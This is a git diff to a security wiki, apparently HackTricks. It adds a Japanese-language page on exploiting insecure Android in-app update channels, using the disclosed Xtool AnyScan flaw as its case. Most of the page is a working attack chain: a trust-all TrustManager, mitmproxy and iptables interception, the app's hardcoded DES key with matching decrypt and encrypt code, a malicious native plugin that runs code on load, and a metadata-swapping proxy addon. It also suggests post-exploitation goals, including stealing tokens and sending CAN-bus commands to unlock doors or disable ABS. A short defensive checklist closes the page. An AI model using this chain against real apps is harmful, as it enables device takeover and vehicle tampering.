+[カスタム難読化を逆コンパイルする方法についてのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md) -## ラボ +## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) AndroL4bは、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングやマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。 -## 参考文献 +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) これは素晴らしいリソースのリストです @@ -734,7 +735,7 @@ AndroL4bは、ubuntu-mateに基づいたAndroidセキュリティ仮想マシン - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) -## まだ試していない +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md new file mode 100644 index 000000000..22c5130cc --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -0,0 +1,124 @@ +# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins + +{{#include ../../banners/hacktricks-training.md}} + +多くのAndroidアプリケーションは、Google Playストアを使用する代わりに**独自の「プラグイン」または「動的機能」アップデートチャネル**を実装しています。 実装が不安全な場合、トラフィックを傍受できる攻撃者は、**アプリプロセス内にロードされる任意のネイティブコードを提供することができ**、これによりハンドセット上での完全なリモートコード実行(RCE)につながります。場合によっては、アプリが制御する外部デバイス(車両、IoT、医療機器など)でも同様です。 + +このページでは、Xtool **AnyScan**自動車診断アプリ(v4.40.11 → 4.40.40)で発見された実際の脆弱性チェーンを要約し、他のAndroidアプリを監査し、レッドチームのエンゲージメント中に誤設定を武器化できるように技術を一般化します。 + +--- +## 1. 不安全なTLS TrustManagerの特定 + +1. jadx / apktoolを使用してAPKを逆コンパイルし、ネットワーキングスタック(OkHttp、HttpUrlConnection、Retrofitなど)を特定します。 +2. すべての証明書を盲目的に信頼する**カスタム`TrustManager`**または`HostnameVerifier`を探します: +```java +public static TrustManager[] buildTrustManagers() { +return new TrustManager[]{ +new X509TrustManager() { +public void checkClientTrusted(X509Certificate[] chain, String authType) {} +public void checkServerTrusted(X509Certificate[] chain, String authType) {} +public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} +} +}; +} +``` +3. 存在する場合、アプリケーションは**任意のTLS証明書**を受け入れます → 自己署名証明書を使用して透明な**MITMプロキシ**を実行できます: +```bash +mitmproxy -p 8080 -s addon.py # see §4 +iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator +``` +## 2. アップデートメタデータのリバースエンジニアリング + +AnyScanの場合、各アプリの起動は次のHTTPS GETをトリガーします: +``` +https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx +``` +レスポンスボディは、``ノードがすべての利用可能なプラグインを記述した**Base64エンコードされた、DES-ECB暗号化された**JSONを含む**XMLドキュメント**です。 + +典型的なハンティングステップ: +1. 暗号化ルーチン(例:`RemoteServiceProxy`)を特定し、以下を回復します: +* アルゴリズム(DES / AES / RC4 …) +* 動作モード(ECB / CBC / GCM …) +* ハードコーディングされたキー / IV(通常は定数内の56ビットDESキーまたは128ビットAESキー) +2. メタデータを復号化/暗号化するために、Pythonで関数を再実装します: +```python +from Crypto.Cipher import DES +from base64 import b64decode, b64encode + +KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan + +def decrypt_metadata(data_b64: str) -> bytes: +cipher = DES.new(KEY, DES.MODE_ECB) +return cipher.decrypt(b64decode(data_b64)) + +def encrypt_metadata(plaintext: bytes) -> str: +cipher = DES.new(KEY, DES.MODE_ECB) +return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() +``` +## 3. 悪意のあるプラグインを作成する + +1. 任意の正当なプラグインZIPを選択し、ネイティブライブラリをあなたのペイロードで置き換えます: +```c +// libscan_x64.so – constructor runs as soon as the library is loaded +__attribute__((constructor)) +void init(void){ +__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid()); +// spawn reverse shell, drop file, etc. +} +``` + +```bash +$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so +$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt +``` +2. JSONメタデータを更新して、`"FileName" : "PWNED.zip"` と `"DownloadURL"` があなたのHTTPサーバーを指すようにします。 +3. 修正したJSONをDESで暗号化し、Base64でエンコードして、インターセプトしたXMLの中に戻します。 + +## 4. mitmproxyでペイロードを配信する + +`addon.py`の例は、*静かに*元のメタデータを入れ替えます: +```python +from mitmproxy import http +MOD_XML = open("fake_metadata.xml", "rb").read() + +def request(flow: http.HTTPFlow): +if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path: +flow.response = http.Response.make( +200, +MOD_XML, +{"Content-Type": "text/xml"} +) +``` +悪意のあるZIPをホストするためにシンプルなウェブサーバーを実行します: +```bash +python3 -m http.server 8000 --directory ./payloads +``` +被害者がアプリを起動すると、以下のことが行われます: +* MITMチャネルを介して偽造されたXMLを取得します; +* ハードコーディングされたDESキーでそれを復号化し、解析します; +* `PWNED.zip`をダウンロードし、プライベートストレージ内に解凍します; +* 含まれている*libscan_x64.so*を`dlopen()`し、アプリの権限(カメラ、GPS、Bluetooth、ファイルシステムなど)でコードを即座に実行します。 + +プラグインはディスクにキャッシュされるため、バックドアは**再起動を跨いで持続**し、ユーザーが関連する機能を選択するたびに実行されます。 + +## 5. ポストエクスプロイトのアイデア + +* アプリによって保存されたセッションクッキー、OAuthトークン、またはJWTを盗む。 +* 第二段階のAPKをドロップし、`pm install`を介して静かにインストールする(アプリはすでに`REQUEST_INSTALL_PACKAGES`を持っています)。 +* 接続されたハードウェアを悪用する – AnyScanシナリオでは、任意の**OBD-II / CANバスコマンド**を送信できます(ドアのロック解除、ABSの無効化など)。 + +--- +### 検出と緩和チェックリスト(ブルーチーム) + +* 証明書の検証を無効にするカスタムTrustManager/HostnameVerifierを持つプロダクションビルドを絶対に出荷しないでください。 +* Google Playの外部から実行可能なコードをダウンロードしないでください。もし*必須*の場合は、各プラグインを同じ**apkSigning v2**キーで署名し、読み込む前に署名を検証してください。 +* 弱い/ハードコーディングされた暗号を**AES-GCM**とサーバー側のローテーションキーに置き換えます。 +* ダウンロードしたアーカイブの整合性を検証します(署名または少なくともSHA-256)。 + +--- +## 参考文献 + +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) + +{{#include ../../banners/hacktricks-training.md}}